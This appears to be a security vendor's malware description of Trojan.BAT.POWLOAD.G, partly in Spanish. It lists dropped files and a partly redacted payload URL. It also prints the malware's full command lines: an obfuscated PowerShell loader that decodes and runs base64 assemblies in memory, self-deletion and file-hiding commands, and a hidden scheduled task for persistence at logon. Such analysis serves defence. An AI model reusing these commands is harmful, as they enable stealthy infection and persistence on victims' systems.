Trojan.BAT.POWLOAD.G

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Infiltra los archivos siguientes:

• {Malware File Path}\{Malware File Name}.bat.exe → deleted afterwards
• %Application Data%\startup_str_370.vbs
• %Application Data%\startup_str_370.bat
• %Application Data%\startup_str_370.bat.exe → file attribute set to hidden

(Nota: %Application Data% es la carpeta Application Data del usuario activo, que en el caso de Windows 98 y ME suele estar ubicada en C:\Windows\Profiles\{nombre de usuario}\Application Data, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}\Application Data, en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) en C:\Documents and Settings\{nombre de usuario}\Local Settings\Application Data y en el caso de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}\AppData\Roaming.).

Agrega los procesos siguientes:

• "{Malware File Name}.bat.exe" -noprofile -w hidden -ep bypass -command $h1dden_PYCJLX5O3R = [System.IO.File]::ReadAllText('{Malware File Path}\{Malware File Name}.bat').Split([Environment]::NewLine); foreach ($h1dden_3H5EP5C64P in $h1dden_PYCJLX5O3R) { $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace($h1dden_7XA2P6AYNW, '_', 'YHKNLWD7M0OA'); if ($h1dden_3H5EP5C64P -match $h1dden_7XA2P6AYNW) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_3H5EP5C64P, 'YHKNLWD7M0OA', ''); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '#', '/'); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '@', 'A');break; }; }; if ($h1dden_0IQXKDNVXT.Contains('BTRJVOMNUOISFKOYJPAMEKLPZFXYSP')) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, 'BTRJVOMNUOISFKOYJPAMEKLPZFXYSP', ''); } else { exit }; $h1dden_U0C5GI284P = [string[]]$h1dden_0IQXKDNVXT.Split('!'); $h1dden_JKCG91SZ6J = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[0]); $h1dden_U8UNIPFJXT = [System.Reflection.Assembly]::Load($h1dden_JKCG91SZ6J); $h1dden_8OV35THHA1 = $h1dden_U8UNIPFJXT.EntryPoint; $h1dden_8OV35THHA1.Invoke($null, $null); $h1dden_BK1HQC6YLA = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[1]); $h1dden_UXZORTPYXM = [System.Reflection.Assembly]::Load($h1dden_BK1HQC6YLA); $h1dden_8T5QYDZO8B = $h1dden_UXZORTPYXM.EntryPoint; $h1dden_8T5QYDZO8B.Invoke($null, $null)
• "%System%\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3640);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b
• %System%\cmd.exe" /C ATTRIB +H "{Malware File Path}\{Malware File Name}.bat.exe" & exit
• ATTRIB +H "{Malware File Path}\{Malware File Name}.bat.exe"
• "%System%\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_370_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute '%Application Data%\startup_str_370.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest –Force
• "%System%\WScript.exe" "%Application Data%\startup_str_370.vbs"
• cmd /c ""%Application Data%\startup_str_370.bat" "
• "%Application Data%\startup_str_370.bat.exe" -noprofile -w hidden -ep bypass -command $h1dden_PYCJLX5O3R = [System.IO.File]::ReadAllText('%Application Data%\startup_str_370.bat').Split([Environment]::NewLine); foreach ($h1dden_3H5EP5C64P in $h1dden_PYCJLX5O3R) { $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace('_0', '0', ' '); $h1dden_7XA2P6AYNW = [System.Text.RegularExpressions.Regex]::Replace($h1dden_7XA2P6AYNW, '_', 'YHKNLWD7M0OA'); if ($h1dden_3H5EP5C64P -match $h1dden_7XA2P6AYNW) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_3H5EP5C64P, 'YHKNLWD7M0OA', ''); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '#', '/'); $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, '@', 'A');break; }; }; if ($h1dden_0IQXKDNVXT.Contains('BTRJVOMNUOISFKOYJPAMEKLPZFXYSP')) { $h1dden_0IQXKDNVXT = [System.Text.RegularExpressions.Regex]::Replace($h1dden_0IQXKDNVXT, 'BTRJVOMNUOISFKOYJPAMEKLPZFXYSP', ''); } else { exit }; $h1dden_U0C5GI284P = [string[]]$h1dden_0IQXKDNVXT.Split('!'); $h1dden_JKCG91SZ6J = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[0]); $h1dden_U8UNIPFJXT = [System.Reflection.Assembly]::Load($h1dden_JKCG91SZ6J); $h1dden_8OV35THHA1 = $h1dden_U8UNIPFJXT.EntryPoint; $h1dden_8OV35THHA1.Invoke($null, $null); $h1dden_BK1HQC6YLA = [System.Convert]::FromBase64String($h1dden_U0C5GI284P[1]); $h1dden_UXZORTPYXM = [System.Reflection.Assembly]::Load($h1dden_BK1HQC6YLA); $h1dden_8T5QYDZO8B = $h1dden_UXZORTPYXM.EntryPoint; $h1dden_8T5QYDZO8B.Invoke($null, $null)
• "%System%\WindowsPowerShell\v1.0\powershell.exe" $a = [System.Diagnostics.Process]::GetProcessById(3016);$b = $a.MainModule.FileName;$a.WaitForExit();Remove-Item -Force -Path $b
• "%System%\cmd.exe" /C ATTRIB +H "%Application Data%\startup_str_370.bat.exe" & exit
• ATTRIB +H "%Application Data%\startup_str_370.bat.exe"

(Nota: %System% es la carpeta del sistema de Windows, que en el caso de Windows 98 y ME suele estar en C:\Windows\System, en el caso de Windows NT y 2000 en C:\WINNT\System32 y en el caso de Windows 2000(32-bit), XP, Server 2003(32-bit), Vista, 7, 8, 8.1, 2008(64-bit), 2012(64bit) y 10(64-bit) en C:\Windows\System32).

Otros detalles

It connects to the following possibly malicious URL:

• http://{BLOCKED}.{BLOCKED}.{BLOCKED}.238/plugin3.dll